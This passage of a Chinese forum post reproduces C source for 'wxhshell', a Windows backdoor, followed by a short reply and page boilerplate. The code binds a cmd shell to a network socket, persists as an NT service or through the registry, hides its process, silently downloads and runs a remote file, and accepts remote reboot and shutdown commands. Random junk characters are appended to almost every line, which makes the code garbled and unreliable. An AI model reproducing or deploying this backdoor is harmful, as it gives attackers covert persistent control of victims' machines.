  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z7k1fv:S^  
  } qjdahVY  
  else { `G:qtHn"Q<  
X/?h!Y}  
    switch(cmd[0]) { uDMUy"8&!  
  B'[3kJ'  
  // 帮助 &_Xv:?  
  case '?': {  nd*!`P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3GuMiht5  
    break; ~[bMfkc3  
  } !x!L&p  
  // 安装 _dRn0<#1(k  
  case 'i': { VS@rM<K{  
    if(Install()) 85d7IB{28  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FKvO7? K  
    else QKuc21  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eyl) uR  
    break; [^"(%{H  
    } 3M>FU4Ug2  
  // 卸载 pdXgr)Uv  
  case 'r': { =[CS2VQ'  
    if(Uninstall()) D9pxe qf+=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DIcyXZH<  
    else *U[Q=w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p|O-I&Xd  
    break; !h~#L"z  
    } '~vSH9nx/  
  // 显示 wxhshell 所在路径 .ubbNp_LU  
  case 'p': { p<^/T,&I  
    char svExeFile[MAX_PATH]; f<t*#]<  
    strcpy(svExeFile,"\n\r"); ^9m]KEucd7  
      strcat(svExeFile,ExeFile); :_b =Km<  
        send(wsh,svExeFile,strlen(svExeFile),0); 'E6gEJ  
    break; Am}PXj6  
    } 7n3x19T  
  // 重启 oXZ@*   
  case 'b': { &rtz&}ZB;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H1c|b !C  
    if(Boot(REBOOT)) aDJjVD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WFc[F`b  
    else { '\vmfp =  
    closesocket(wsh); eVNBhR}HS  
    ExitThread(0); t1_y1!u Q  
    } =dw*B  
    break; ;@;ie8H  
    } B0?@k  
  // 关机 gT\y&   
  case 'd': { _xZb;PbFE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0kr& c;~  
    if(Boot(SHUTDOWN)) WaZ@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<^2h}5  
    else { @'| 6lG  
    closesocket(wsh); Fn0LE~O}-8  
    ExitThread(0); d=u%"36y  
    } z@S8H6jM)S  
    break; ,EJ [I^  
    } DD{@lM\vc  
  // 获取shell e+[J[<8  
  case 's': { A.cZa  
    CmdShell(wsh); z_iyuLRdb  
    closesocket(wsh); :^.87>V7  
    ExitThread(0); j$i8@]  
    break; wP *a>a  
  } FYE9&{]h  
  // 退出 *V<2\-  
  case 'x': { 6'lT`E|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t6>Q e  
    CloseIt(wsh); SvpTs  
    break; [Kj#KJxy  
    } F v^80M=z  
  // 离开 Spw=+z<<Ub  
  case 'q': { P`Wf'C^h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /r 2.j3:l  
    closesocket(wsh); nhaoh!8A6  
    WSACleanup(); /01(9(  
    exit(1); Ta5iY }  
    break; -tdON  
        } cLk+( dn  
  } Tee3U%Y  
  } ^ cd5Zl  
\\pyu]z  
  // 提示信息 IHX#BY>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MM)/B>cQt  
} we).8%)'  
  } ]R.Vq\A%S  
:zy'hu;  
  return; f$*9J  
} lkJ#$Ik&  
6L% R@r  
// shell模块句柄 oUS>p":  
int CmdShell(SOCKET sock) Kpbbe r  
{ @<{ #v.T  
STARTUPINFO si; wI]>0geb*  
ZeroMemory(&si,sizeof(si)); xI),0 db  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &7nfTc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5|={1Lp24g  
PROCESS_INFORMATION ProcessInfo; 0'2{[xF  
char cmdline[]="cmd"; %cif0Td  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &!aLOx*3`  
  return 0; +}Wo=R}  
} yX Q;LQ;  
nU#q@p)Xg  
// 自身启动模式 L6}x3  
int StartFromService(void) [5d][1=  
{ Uwil*Jh  
typedef struct w)>z3L m  
{ ?)<XuMh  
  DWORD ExitStatus; xb_:9   
  DWORD PebBaseAddress; 31\^9w__8  
  DWORD AffinityMask; gMMd=  
  DWORD BasePriority; :iC\#i]6  
  ULONG UniqueProcessId; VNot4 62L  
  ULONG InheritedFromUniqueProcessId; ee?ZkU#@  
}   PROCESS_BASIC_INFORMATION; %*; 8m'  
-L<Pm(v&  
PROCNTQSIP NtQueryInformationProcess; hWe}(Ks  
M!i5StGC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W3j|%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l[0P*(I,  
=_:L wmI  
  HANDLE             hProcess; 6M|%nBN$|  
  PROCESS_BASIC_INFORMATION pbi; c<x6_H6[8  
tB?S0;yXjd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :QSW^x  
  if(NULL == hInst ) return 0; 0'oT {iN  
K:Go%3~,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *F&&rsb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2^lT!X@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?pY!sG  
&;3z 1s/  
  if (!NtQueryInformationProcess) return 0; U2?gODh'  
VO6y9X"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -$ft `Ih  
  if(!hProcess) return 0; ^( VB5p  
 aj B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ',%&DA2  
$yK!Q)e:  
  CloseHandle(hProcess); p~co!d.q/}  
d9( Sj?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4>#^Pk?Ra  
if(hProcess==NULL) return 0; J8Db AB4X  
8dB~09Z7  
HMODULE hMod; F}[;ytmUS  
char procName[255]; 0)44*T  
unsigned long cbNeeded; K0@7/*%  
tAi9mm;k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X*q C:]e  
R/YL1s  
  CloseHandle(hProcess); 3?(p;  
!AHm+C_=Lg  
if(strstr(procName,"services")) return 1; // 以服务启动 :_zKUv]  
.?j8{>  
  return 0; // 注册表启动 O{R5<"g  
} jG :R\D}0  
g3rFJc  
// 主模块 3dphS ^X  
int StartWxhshell(LPSTR lpCmdLine) 7T Bo*-!  
{ cyE2=  
  SOCKET wsl; *xC '  
BOOL val=TRUE; 4BtdN-T}b  
  int port=0; YTh4&wm  
  struct sockaddr_in door; L?(rv.lb  
Bb `^,?m  
  if(wscfg.ws_autoins) Install(); rI789 q  
[DEw:%  
port=atoi(lpCmdLine); ^w\uOd`  
A 6L}5#7-  
if(port<=0) port=wscfg.ws_port; NR@Tj]`k  
uHCgIR l>  
  WSADATA data; t}gqk'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zl?N1>KS  
E9hWn0 e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _O<{H'4NO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xGA0] _  
  door.sin_family = AF_INET; `pUArqf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {`Z)'G\`  
  door.sin_port = htons(port); NBYE#Uih  
X>>rvlDN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xw H`alu  
closesocket(wsl); RGLqn{<V  
return 1; # GGmA.  
} XQ+hTtP  
-9"Ls?Cu  
  if(listen(wsl,2) == INVALID_SOCKET) { |L&V-f&K  
closesocket(wsl); '3->G/Pu  
return 1; N~d]}J8}gx  
} P|U>(9;P,  
  Wxhshell(wsl); Oa .%n9ec  
  WSACleanup(); |VL,\&7rk  
GAlO<Mu  
return 0; KRe=n3 1  
}D O#{@af  
} 0iHI "9z  
5ntP{p%>  
// 以NT服务方式启动 zL'n J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k5YDqG n'q  
{ A9gl|II  
DWORD   status = 0; iz(+(M  
  DWORD   specificError = 0xfffffff; '3VrHL@@g  
9E+lriyY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uzsN#'7=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gov{jksr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B!v1 gh  
  serviceStatus.dwWin32ExitCode     = 0; CHB{P\WF  
  serviceStatus.dwServiceSpecificExitCode = 0; "/"k50%  
  serviceStatus.dwCheckPoint       = 0; HvTQycG  
  serviceStatus.dwWaitHint       = 0; {xX|5/z  
;}qCIyuO]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `39U I7  
  if (hServiceStatusHandle==0) return; O.dNhd$  
/'(P{O>{j  
status = GetLastError(); E=d[pI,e  
  if (status!=NO_ERROR) 2LdV=ifq2S  
{ =l+p nG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yt^+31/%  
    serviceStatus.dwCheckPoint       = 0; 6z*L9Vy($  
    serviceStatus.dwWaitHint       = 0; qC &<U  
    serviceStatus.dwWin32ExitCode     = status; $7,dKC &  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3a0C<hW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;xc  
    return; 6eD[)_?]y  
  } 4$"Lf'sH6  
;`+,gVrp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'Bx7b(xqk  
  serviceStatus.dwCheckPoint       = 0; {TNAK%'v  
  serviceStatus.dwWaitHint       = 0; "=;&{N~8U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A UK7a  
} N_0O"" d  
GZw<Y+/V"5  
// 处理NT服务事件,比如:启动、停止 wkGF&U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?8 F7BS4oQ  
{ =DgD&_  
switch(fdwControl) ;ORy&H aKl  
{ ;V GrZZ  
case SERVICE_CONTROL_STOP: oCrn  
  serviceStatus.dwWin32ExitCode = 0; +l9avy+P (  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l O^h)hrR  
  serviceStatus.dwCheckPoint   = 0; V4H+m,R  
  serviceStatus.dwWaitHint     = 0; @b zrJ 7$  
  { :FSkXe2yy0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `dK\VK^  
  } '9)@U+yfQ  
  return; WA/\x  
case SERVICE_CONTROL_PAUSE: BhjXNf9[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^:0?R/A  
  break; `3-j%H2R  
case SERVICE_CONTROL_CONTINUE: c2nZd.SD|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >X F@=J p  
  break; }bVyvH  
case SERVICE_CONTROL_INTERROGATE: SZPu"O\  
  break; tv2dyC&a  
}; [Dhc9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uP$K{ )  
} b<8h\fR#'  
= 7?'S#  
// 标准应用程序主函数 SXL6)pX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pV!(#45~W  
{ 8yo9$~u;  
$ ]HIYYs  
// 获取操作系统版本 m3D'7*U  
OsIsNt=GetOsVer();  0c{N)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Km?i{TW  
ICi- iX  
  // 从命令行安装 DF~w20+  
  if(strpbrk(lpCmdLine,"iI")) Install(); NXx}KF c  
+Il=gL1  
  // 下载执行文件 ]k8XLgJ  
if(wscfg.ws_downexe) { #FcYJH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !>tXib]:  
  WinExec(wscfg.ws_filenam,SW_HIDE); .^uu* S_  
} (<CLftQKg  
~(8A&!#,!  
if(!OsIsNt) { bQ)r8[o!  
// 如果时win9x,隐藏进程并且设置为注册表启动 N%-nxbI\  
HideProc(); [Y*UCFhI0  
StartWxhshell(lpCmdLine); ubL Lhf  
} .28*vkH%C=  
else o8,K1ic5#  
  if(StartFromService()) k"Is.[I?^  
  // 以服务方式启动 i<bs{Cu_S  
  StartServiceCtrlDispatcher(DispatchTable); h^s}8y  
else _,}Ye,(^=  
  // 普通方式启动 _i 8oWy1  
  StartWxhshell(lpCmdLine); \rJk[Kec  
ZjcJYtD  
return 0; S("bN{7nE  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八